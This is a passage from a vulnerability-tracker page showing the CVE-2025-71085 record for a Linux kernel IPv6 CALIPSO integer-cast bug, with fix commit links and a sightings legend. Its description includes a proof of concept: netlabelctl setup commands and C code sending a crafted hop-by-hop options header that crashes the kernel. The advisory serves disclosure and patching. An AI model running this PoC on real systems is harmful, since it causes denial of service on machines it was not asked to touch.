          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom \u003e INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n        netlabelctl map del default\n        netlabelctl calipso add pass doi:7\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n        Then run the following PoC:\n\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n        // setup msghdr\n        int cmsg_size = 2;\n        int cmsg_len = 0x60;\n        struct msghdr msg;\n        struct sockaddr_in6 dest_addr;\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n                        sizeof(struct cmsghdr) + cmsg_len);\n        msg.msg_name = \u0026dest_addr;\n        msg.msg_namelen = sizeof(dest_addr);\n        msg.msg_iov = NULL;\n        msg.msg_iovlen = 0;\n        msg.msg_control = cmsg;\n        msg.msg_controllen = cmsg_len;\n        msg.msg_flags = 0;\n\n        // setup sockaddr\n        dest_addr.sin6_family = AF_INET6;\n        dest_addr.sin6_port = htons(31337);\n        dest_addr.sin6_flowinfo = htonl(31337);\n        dest_addr.sin6_addr = in6addr_loopback;\n        dest_addr.sin6_scope_id = 31337;\n\n        // setup cmsghdr\n        cmsg-\u003ecmsg_len = cmsg_len;\n        cmsg-\u003ecmsg_level = IPPROTO_IPV6;\n        cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n        sendmsg(fd, \u0026msg, 0);"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-02-09T08:34:36.802Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2"
        },
        {
          "url": "https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910"
        },
        {
          "url": "https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1"
        },
        {
          "url": "https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0"
        },
        {
          "url": "https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24"
        },
        {
          "url": "https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570"
        },
        {
          "url": "https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83"
        }
      ],
      "title": "ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-71085",
    "datePublished": "2026-01-13T15:34:48.324Z",
    "dateReserved": "2026-01-13T15:30:19.649Z",
    "dateUpdated": "2026-02-09T08:34:36.802Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

SUSE-SU-2026:20943-1

CVE-2025-68813 (GCVE-0-2025-68813)

CVE-2025-71085 (GCVE-0-2025-71085)

Tags

Sightings

Nomenclature